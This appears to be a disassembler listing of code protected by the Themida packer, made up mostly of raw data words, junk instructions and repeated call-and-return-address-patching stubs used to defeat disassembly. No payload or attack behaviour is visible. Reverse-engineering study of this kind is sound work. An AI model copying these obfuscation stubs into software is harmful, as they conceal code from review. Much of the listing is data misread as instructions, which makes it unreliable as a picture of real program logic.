		dd 8BD82B06h, 2BF558F1h, 11880FD8h, 0B9000001h,	7, 0F00C183h
		dd 68Dh, 0E58D3100h, 3B06122Eh,	0F5860FD9h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 54ABC353h, 2BB12FE7h, 0D98C6655h,	11EDB533h
		dd 95890612h, 6121505h,	0F04C1F6h, 0B384h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h
		dd 6B0EE677h, 0A99D89D1h, 0FF061215h, 120CA995h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 0D0E24F8Eh, 66BA5EC4h, 665BF28Bh, 2B0A1FBEh,	53006AC3h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 0DC6A45CEh, 0E9C0B323h, 13h,	77920742h, 0D852DF16h
		dd 74119C59h, 0DE5775C8h, 3D01A639h, 834h, 16860Fh, 0B58B0000h
		dd 61229E9h, 0FBE78166h, 0EE95Fh, 8D890000h, 6121471h
		dd 0B589C08Bh, 6120069h, 0D88BC38Bh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 0FCC35343h,	85C7455Bh, 61230DDh
		dd 1C17D1FBh, 8BF7BF0Fh, 51006AC0h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 2F4FF1B0h, 0FCA19CC9h
		dd 167DBD8Bh, 0BD810612h, 61207E5h, 7D0h, 40850Fh, 0B70F0000h
		dd 0E585FFF7h, 6A061207h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 3B96C350h, 1B90704Bh
		dd 8C0F15A0h, 0Eh, 0FD8D8960h, 89061222h, 1215C59Dh, 0B5FF6106h
		dd 61207E5h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 19h,	1DC35343h, 3DC193FEh, 8D8D8930h, 0FF061210h, 1229D195h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 55D29C04h, 18A68EBDh, 0B589F890h, 612270Dh
		dd 15758D89h, 0BD890612h, 6121F81h, 6AF88Bh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1A0424h, 50400000h, 401566C3h
		dd 0A5E6ECE9h, 13D19589h, 7E90612h, 0A0000000h,	0E4A0C4A2h
		dd 6AD9B2h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
		dd 50400000h, 90161C3h,	5075C324h, 6AF2B70Fh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 4421C350h, 89BFE5AFh, 122FF5B5h, 15B58B06h, 8B06121Bh
		dd 121E8DB5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1404h, 0C3504000h, 0CE84Bh, 49620000h, 0B6B60AB8h, 0D8200ACAh
		dd 840F24B7h, 6, 8D0Fh,	6A5F0000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 2864C350h
		dd 83BF6607h, 2870FA5h,	8B000000h, 6830FFAh, 0F000000h
		dd 8Eh,	31B58B00h, 0E906122Dh, 0FFFFF7B0h, 93E78166h, 6AC18B10h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 16042444h
		dd 40000000h, 0B751C350h, 467DBEF7h, 4EB1DB7h, 0
		dd 0B280EF81h, 5E87759h, 0F9000000h, 0ABF7369Ah, 5FFE8B66h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0FC35545h
		dd 16695CC2h, 17698D29h, 8DF90612h, 12006585h, 0DB52306h
		dd 90061215h, 0EC95BE57h, 505F4A58h, 61C68A60h,	66E9BE90h
		dd 6A191Bh, 0DE8h, 0C003E700h, 1421A6D9h, 0E04731F2h, 69BE9A29h
		dd 5F235FC4h, 0F88B6660h, 0CA12F281h, 6A61368Eh, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 296676D3h, 0B944CB10h, 8A0FF0CDh, 6,	13619D89h, 858D0612h
		dd 615F6FDh, 6A05C083h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 8AE4C351h, 89AB1049h
		dd 12217195h, 85953106h, 50061226h, 489F38Bh, 0E6816624h
		dd 6A87B8h, 0E853006Ah,	3, 5BC35B20h, 4245C89h,	4244481h
		dd 15h,	0D7C35343h, 0D99D3106h,	6A061213h, 0F18B6600h
		dd 0B5595FFh, 6A0612h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 0BCA268C3h, 1F05B501h, 8B660612h
		dd 0CA9D8DFEh, 8906159Bh, 121CC1BDh, 3D3FF06h, 120395B5h
		dd 3585FF06h, 66061212h, 0E9AF93BFh, 8F1h, 0E8h, 0ED815D00h
		dd 615F707h, 0EE9h, 0EB270600h,	73E2FEEh, 84BBB29Eh, 81B44E40h
		dd 1207E5BDh, 7D006h, 1C860F00h, 0E8000001h, 14h, 529DACC7h
		dd 0BAD1411Eh, 0C62632A1h, 0AB1533FCh, 0FDA791DFh, 61EF06BEh
		dd 9D8B5E5Eh, 6122ED9h,	39ABE66h, 100E381h, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 43AFB2C3h, 0FB1B59A1h, 60515C14h, 31DD9D89h,	81660612h
		dd 61F9F4DEh, 0FDB0B5Fh, 8785h,	0F38B6600h, 0F592BD83h
		dd 0F000615h, 3284h, 57006A00h,	3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1C04h, 0C3574700h, 4A6E2A64h, 5DCBC704h
		dd 62E9CFh, 8D0F0000h, 3, 0C7FFBF0Fh, 15F59285h, 106h
		dd 0EE800h, 0ED0A0000h,	4CDE608Fh, 2809FDAFh, 5CC5CE72h
		dd 16E5B58Bh, 0E95E0612h, 30h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 0DC35747h, 0F59285C7h, 615h
		dd 60600000h, 0B519589h, 61610612h, 2ED99D8Dh, 0B5310612h
		dd 6122785h, 0FEFF2381h, 3ABFFFFFh, 66392B8Ch, 6ADB8Ch
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 9EF037C3h, 66C1D0A5h, 0C0FAF781h, 0F04C3F6h,	9584h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 1B34B6Ch, 1221AD8Dh, 0A995FF06h,	6006120Ch
		dd 5870Fh, 33BB0000h, 6644DA0Bh, 0AD84F281h, 0E8609061h
		dd 0Bh,	8E99B38Ah, 0E7900C0Ah, 0FB6F7DBh, 85h, 50525A00h
		dd 5A310F52h, 50615958h, 7E9h, 0C35C7C00h, 8322AEEDh, 50006A90h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1B04h, 0C3504000h
		dd 39C401A2h, 5B83F19Ch, 23F5B509h, 9EE90612h, 6A000004h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 1702C355h, 0D3AA5AEDh, 4454AA65h,	0B0F7B70Fh
		dd 148E0F00h, 0F000000h, 0E87h,	9E900h,	41760000h, 54A8B9F9h
		dd 0E6AD5542h, 51006A70h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 8E9E00Eh, 0B5000000h
		dd 0B8125759h, 0E42C608Dh, 5BE6671h, 6495BE4Ah,	0B60F2641h
		dd 50006AD8h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 0BE9D17Eh, 7D000000h, 9DE8A018h,	88298EF6h
		dd 6BA62F9h, 6A000000h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 0F237C357h,	317A2EA2h
		dd 8166495Fh, 8B1138F6h, 1231E9B5h, 6AC38B06h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 8BE7C350h, 8BB28754h, 120831B5h, 4E8C106h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0D0C35747h, 0B58B5FECh
		dd 6121EE5h, 6AE2F766h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 0F6DFC357h,	0A9BD8958h
		dd 2B061225h, 55006AD8h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1504h, 0C3554500h, 0FE9AF88h, 1F000000h, 921951E0h
		dd 0D90E8429h, 5685C3F4h, 0BF5014C4h, 3DC5424Eh, 0F241C89h
		dd 0B5FFFEB7h, 61207E5h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 0F9C35545h, 43360E4Bh, 0FF20169Eh, 1229D195h
		dd 0FE806h, 73EB0000h, 9B9510B3h, 3ACD0BA5h, 0D9AC2347h
		dd 0EE81666Ah, 0B05E2CA3h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 84C3E5CBh
		dd 0E4F570E6h, 613CF971h, 293830Fh, 0BD8B0000h,	6121CF9h
		dd 89D8B60Fh, 12302585h, 6BA06h, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 150424h, 55450000h, 81B419C3h
		dd 8134BEC6h, 5DB58B15h, 8B061226h, 57006AC3h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 7AF51282h
		dd 180226B6h, 3D85295Fh, 0E9061222h, 13h, 8ACBAEF4h, 2820BA96h
		dd 0CDA45253h, 0E88DB0ADh, 0C157C240h, 0EE904E8h, 61000000h
		dd 0DFA8BACEh, 8C1DB9F4h, 7D76C8DFh, 0E2F76638h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 1FC35747h, 0F27028Fh
		dd 58Dh, 0F6816600h, 0D82BDE6Dh, 0E855006Ah, 3,	5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 22C35545h, 18C1F4A7h, 8509CCD4h
		dd 612258Dh, 799D8958h,	2B06120Ch, 96880FD8h, 6A000001h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 928AC353h, 0DC1DBE66h, 7B9h, 0C18300h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0A3C35545h, 0DD92A510h
		dd 0A3311641h, 0FA8B6624h, 860FD93Bh, 13Dh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 16C35747h, 0DA7CE054h
		dd 9D8947F2h, 61214D5h,	8BD98C66h, 120C31BDh, 4C1F606h
		dd 0FB840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 864A00C3h, 0AAE69B80h, 95FF3BD7h
		dd 6120CA9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Dh,	89C35343h, 2D6B5A14h, 3FF77A1Ch, 6830FCBh, 0B000000h
		dd 122021BDh, 0F98BF506h, 57006A5Bh, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 8DB52B02h
		dd 66061200h, 5E7AE781h, 343DC32Bh, 0F000008h, 6886h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1504h, 0C3524200h
		dd 14E8D7E4h, 35000000h, 778B887Bh, 0A4B60819h,	0B43C1361h
		dd 7C8A89EDh, 0F819424h, 28Ah, 5FF88B00h, 2CE9h, 56006A00h
		dd 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 0E2279755h
		dd 0FDD3E278h, 29C08BC5h, 12202185h, 8BC38B06h,	850F56D8h
		dd 0
; ---------------------------------------------------------------------------
		pop	edi
		mov	dword ptr [ebp+6122349h], 3F9F959Fh
		sub	edi, [ebp+6122A8Dh]
		mov	eax, eax
		push	0
		push	edi
		call	sub_5BB8BA
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BB8BA	proc near		; CODE XREF: Themida_:005BB8B2p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_5BB8BA	endp

; ---------------------------------------------------------------------------
		aas
		mov	di, 3A76h
		cmp	dword ptr [ebp+61207E5h], 7D0h
		jnz	loc_5BB90E
		mov	esi, [ebp+6120051h]
		inc	dword ptr [ebp+61207E5h]
		push	0
		push	esi
		call	sub_5BB8F6
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BB8F6	proc near		; CODE XREF: Themida_:005BB8EEp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_5BB8F6	endp

; ---------------------------------------------------------------------------
		db	3Eh
		dec	dword ptr [ebx+121A8DB5h]
		push	es


loc_5BB90E:				; CODE XREF: Themida_:005BB8D9j
		push	dword ptr [ebp+61207E5h]
		jmp	loc_5BB929
; ---------------------------------------------------------------------------
		db 7Fh,	4, 0DAh
		dd 0D6F77B6Ah, 14ACF015h, 0C21AF25Fh
		db 39h
; ---------------------------------------------------------------------------


loc_5BB929:				; CODE XREF: Themida_:005BB914j
		mov	[ebp+6121E01h],	eax
		call	dword ptr [ebp+61229D1h]
		push	0
		push	ebp
		call	sub_5BB940
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BB940	proc near		; CODE XREF: Themida_:005BB938p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ch
		inc	ebp
		push	ebp
		retn
sub_5BB940	endp

; ---------------------------------------------------------------------------
		dd 117C2D4Bh, 0C7E00554h, 6A9097h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1B0424h, 55450000h, 0E575A6C3h, 6A1F64CDh
		dd 56006A0Eh, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 0D739E128h, 0B58B5380h, 61214DDh, 219501h
		dd 2B5F0612h, 122015BDh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 0B20E8F5Bh, 0ED9D894Bh
		dd 60061222h, 238DBD31h, 858B0612h, 6120395h, 52006A61h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 0FEB9C752h, 0F847F917h, 57006A43h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 6F832585h
		dd 58B0F92h, 0BE000000h, 8474AEDh, 1E99B509h, 5E80612h
		dd 4E000000h, 0AF7FCCC4h, 0BE665FF5h, 95016EA7h, 61213E1h
		dd 6AF28B66h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 2CC8C355h, 8960F8FDh, 121671BDh
		dd 0FD8D8B06h, 0E8061219h, 10h,	6FCEFC93h, 2B6ECD77h, 105DF2C8h
		dd 0D7F0661Fh, 0F2C18166h, 0F615AF6h, 889h, 0B58B5100h
		dd 6121459h, 0F72EE95Eh, 6AFFFFh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 6D7BF8C3h, 89C18B45h
		dd 121AC5BDh, 0E9BD8B06h, 0EB061229h, 4, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h
		dd 0EBCC906Bh, 0F3B70F57h, 50006A5Eh, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 0B01B8006h
		dd 7B15836Bh, 0E59529A8h, 8D06121Ah, 12006585h,	57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1904h, 0C3574700h
		dd 78596C3Ch, 6E99DA3h,	27000000h, 28CA9C5Ch, 820F563Dh
		dd 6, 8459D89h,	905F0612h, 6E8h, 6F2DE400h, 5FEF3C1Ch
		dd 905E5150h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 1Bh,	8CC35646h, 44966C43h, 8BBD939Ah, 1216D9BDh, 6AF806h
		dd 5E9h, 12F4A200h, 6660F9C7h, 66597BBAh, 617062BAh, 0F781006Ah
		dd 2FDEF6A7h, 24C858Dh,	0B58B0616h, 61203B1h, 6A05C083h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 4179C356h, 0AA622E9Ah, 12E9CBh, 56030000h
		dd 0CFD3B4DAh, 8794328Fh, 931FA372h, 3588B510h,	0F78B6650h
		dd 81240489h, 350F8C6h,	6A006A16h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0D899C356h
		dd 0D9E24EC6h, 6A006Ah,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 80ACFCC3h, 0DDF4A341h, 5595FF03h
		dd 6A06120Bh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 33FAC352h, 0E2ACF63Bh,	0BE661ABFh
		dd 9D8DE7EAh, 6159BCAh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 5EC35747h, 6FBA1F74h,	8E0F1423h, 12h
		dd 0DE9h, 7A57F100h, 27E02590h,	38E79715h, 0D3FF3156h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0FCC35343h
		dd 1507C8Dh, 122A6985h,	85FF5F06h, 6121235h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 1DC35343h, 653A7B4Fh
		dd 0BE66E66Bh, 0CEE94ABBh, 0E8000007h, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 6160256h
		mov	esi, 2F4AA649h
		cmp	dword ptr [ebp+61207E5h], 7D0h
		jbe	loc_5BBE79
		push	0
		push	edi
		call	sub_5BBD57
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BBD57	proc near		; CODE XREF: Themida_:005BBD4Fp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Dh
		inc	edi
		push	edi
		retn
sub_5BBD57	endp

; ---------------------------------------------------------------------------
		xor	eax, 625C6D1h
		jnp	short loc_5BBDD1
		pop	ecx
		test	[ecx+edi*8], eax
		mov	ebx, [ebp+6122D69h]
		push	0
		push	ebp
		call	sub_5BBD83
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BBD83	proc near		; CODE XREF: Themida_:005BBD7Bp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 18h
		inc	ebp
		push	ebp
		retn
sub_5BBD83	endp

; ---------------------------------------------------------------------------
		mov	eax, 5D6EC7F1h
		and	ebx, 100h
		jmp	loc_5BBDB5
; ---------------------------------------------------------------------------
		db 1Dh
		dd 8DCD04C8h, 0F57B20A3h, 9DFABD69h, 0C1470880h
		db 0E9h
; ---------------------------------------------------------------------------


loc_5BBDB5:				; CODE XREF: Themida_:005BBD9Ej
		or	ebx, ebx
		jnz	loc_5BBE17
		push	0
		push	edx
		call	loc_5BBDC8
		and	[edx-3Dh], bl


loc_5BBDC8:				; CODE XREF: Themida_:005BBDC0p
		pop	edx
		mov	[esp+4], edx
; ---------------------------------------------------------------------------
		db 81h,	44h, 24h
		db 4
; ---------------------------------------------------------------------------


loc_5BBDD1:				; CODE XREF: Themida_:005BBD6Cj
		sbb	eax, 42000000h
		push	edx
		retn
; ---------------------------------------------------------------------------
		dd 0A13BD485h, 0CF98F0E1h, 8B66D87Ah, 3BD83F8h,	61600h
		dd 0C840Fh, 0BF660000h,	46E9815Bh, 0F000000h, 85C7FABFh
		dd 6160003h, 1,	2363BF66h, 30E9h, 45BD2B00h
; ---------------------------------------------------------------------------
		push	ss
		adc	al, [esi]


loc_5BBE17:				; CODE XREF: Themida_:005BBDB7j
		mov	dword ptr [ebp+6160003h], 0
		push	0
		push	ebp
		call	sub_5BBE2C
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BBE2C	proc near		; CODE XREF: Themida_:005BBE24p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 18h
		inc	ebp
		push	ebp
		retn
sub_5BBE2C	endp

; ---------------------------------------------------------------------------
		clc
		sub	al, 8Dh
		lodsb
		and	ecx, [ebp+122D699Dh]
		push	es
		mov	[ebp+61220C1h],	edx
		and	dword ptr [ebx], 0FFFFFEFFh
		push	0
		push	ebp
		call	sub_5BBE5E
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BBE5E	proc near		; CODE XREF: Themida_:005BBE56p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ch
		inc	ebp
		push	ebp
		retn
sub_5BBE5E	endp

; ---------------------------------------------------------------------------
		dw 8FA4h
; ---------------------------------------------------------------------------
		mov	cl, 0Bh
		pop	ecx
		pop	ebp
		lds	ebp, [ecx]
		cmc
		mov	esi, edx


loc_5BBE79:				; CODE XREF: Themida_:005BBD46j
		mov	bx, ds
		push	0
		push	edi
		call	sub_5BBE87
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BBE87	proc near		; CODE XREF: Themida_:005BBE7Fp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_5BBE87	endp

; ---------------------------------------------------------------------------
		db 51h
		dd 28E0F72h, 50000000h,	4C3F65Eh, 60840Fh, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 49BD9EC3h, 0DB5BCA41h, 95FFEA5Bh, 6120CA9h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 2FC35343h, 908D3907h
		dd 0B8666060h, 44BA25F4h, 61233D84h, 61CA8B66h,	0F88B6650h
		dd 0D9E9F990h, 6A000003h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 2CEBC357h, 64CA30B6h
		dd 84627862h, 950100B0h, 6121AD9h, 6A70E6h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 160424h, 56460000h, 8D1635C3h
		dd 1E1DB523h, 2B520612h, 1215FDBDh, 71E45F06h, 0D8B60FF8h
		dd 10E9h, 2479F500h, 5E7B73B3h,	0D8A1A0A7h, 7161527Eh
		dd 6BAFCh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 8B14C7C3h, 50006AC3h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 2811C860h
		dd 26DF8A2Ah, 8950D029h, 1233F1BDh, 0E8C15E06h,	75953104h
		dd 66061226h, 6AE2F7h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 5A3BD7C3h, 106B7FA8h, 8D899D1Dh
		dd 6122F15h, 6AD82Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 3C4143C3h, 0BEF7BC2h, 5676BF0Fh
		dd 6693676Fh, 6050FB8Bh, 50CE8B66h, 0FDE8B52h, 5AF78B31h
		dd 0E9936158h, 0Fh, 2DD7BCE3h, 0C3FD99D0h, 16A20ADCh, 0FF27551Ch
		dd 1207E5B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1604h, 0C3514100h, 8B36965Eh, 121F65BDh, 0D195FF06h
		dd 0F061229h, 380h, 0F2B70F00h,	2325B58Bh, 0B00612h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 7DC35747h, 48124783h
		dd 8BC2FA00h, 1228F5B5h, 9952906h, 0E606122Bh, 55006A70h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 8BA73FC3h, 8BF67E94h, 0FE9F7h, 12430000h, 8A1DD76Ch
		dd 0BC3A0088h, 8BF5CDDCh, 6A71E4C2h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0F1A6C357h
		dd 0CF781E5h, 613C256Fh, 1B2830Fh, 0B60F0000h, 0AE8D8h
		dd 0E63C0000h, 1BF32575h, 4B2013E5h, 11959589h,	0BA5E0612h
		dd 6, 2D7DB589h, 0C38B0612h, 0E8C15F57h, 0CE904h, 79100000h
		dd 0E0D2A969h, 383034CAh, 8E93A69h, 0A7000000h,	77E5B71Fh
		dd 66EB2943h, 0BF66E2F7h, 0D82BFCF4h, 1409BD89h, 6A580612h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 2C8EC350h, 4061F34Bh, 0D82BDEC5h,	12E880Fh
		dd 8D0F0000h, 2, 7B9F98Bh, 6A000000h, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 4ED7C353h
		dd 0C4242C21h, 860F4B32h, 0Ch, 68A0Fh, 8A0F0000h, 0
; ---------------------------------------------------------------------------
		mov	esi, [ebp+61214F9h]
		add	ecx, 0
		add	di, 46CEh
		cmp	ebx, ecx
		jbe	loc_5BC2E8
		jg	loc_5BC21E
		sub	[ebp+61220C1h],	edi


loc_5BC21E:				; CODE XREF: Themida_:005BC212j
		and	edi, [ebp+6120B7Dh]
		mov	cx, ds
		or	[ebp+61224D5h],	ecx
		test	cl, 4
		jz	loc_5BC2E6
		mov	di, 69EBh
		call	dword ptr [ebp+6120CA9h]
		push	0
		push	ebx
		call	sub_5BC24B
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BC24B	proc near		; CODE XREF: Themida_:005BC243p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 19h
		inc	ebx
		push	ebx
		retn
sub_5BC24B	endp

; ---------------------------------------------------------------------------
		db 0C1h
		dd 94BC32E7h, 69952939h, 5B06122Eh, 0CE8h, 16564700h, 0FFBCCBA8h
		dd 777A9CECh, 0C32B5FEEh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 0DFC35545h, 49CABF92h, 0EFADB250h, 8FDB58Bh
		dd 343D0612h, 0F000008h, 3586h,	55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 0A7A45CCFh
		dd 1DA05D6h, 0CCC681CCh, 0E97EE0C4h, 8,	2CC5B58Bh
; ---------------------------------------------------------------------------
		adc	al, [esi]


loc_5BC2E6:				; CODE XREF: Themida_:005BC230j
		mov	eax, eax


loc_5BC2E8:				; CODE XREF: Themida_:005BC20Cj
		mov	eax, ebx
		mov	ebx, eax
		mov	esi, [ebp+6121765h]
		mov	dword ptr [ebp+6122ED9h], 15E2991Fh
		mov	eax, eax
		push	0
		push	ebx
		call	sub_5BC309
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BC309	proc near		; CODE XREF: Themida_:005BC301p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ah
		inc	ebx
		push	ebx
		retn
sub_5BC309	endp

; ---------------------------------------------------------------------------
		db 6Fh,	31h, 3Ah
; ---------------------------------------------------------------------------
		sal	dword ptr [ebp-20h], cl
		push	edi
		sub	[ebp+61208A1h],	eax
		cmp	dword ptr [ebp+61207E5h], 7D0h
		jnz	loc_5BC364
		push	0
		push	ebp
		call	sub_5BC341
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BC341	proc near		; CODE XREF: Themida_:005BC339p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ah
		inc	ebp
		push	ebp
		retn
sub_5BC341	endp

; ---------------------------------------------------------------------------
		sbb	dword ptr [esi-13h], 0FF261D9Bh
		inc	dword ptr [ebp+61207E5h]
		xor	[ebp+612264Dh],	ebx


loc_5BC364:				; CODE XREF: Themida_:005BC330j
		push	dword ptr [ebp+61207E5h]
		push	0
		push	ebp
		call	sub_5BC375
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BC375	proc near		; CODE XREF: Themida_:005BC36Dp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_5BC375	endp

; ---------------------------------------------------------------------------
		enter	0FFFFCD27h, 0BEh
		jnp	short loc_5BC39D
		xor	dword ptr [edi-1], 1229D195h
		push	es
		add	edi, [ebp+6122A21h]
		nop
		push	0
		push	edx


loc_5BC39D:				; CODE XREF: Themida_:005BC389j
		call	sub_5BC3A5
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BC3A5	proc near		; CODE XREF: Themida_:loc_5BC39Dp

arg_4		= dword	ptr  8

		pop	edx
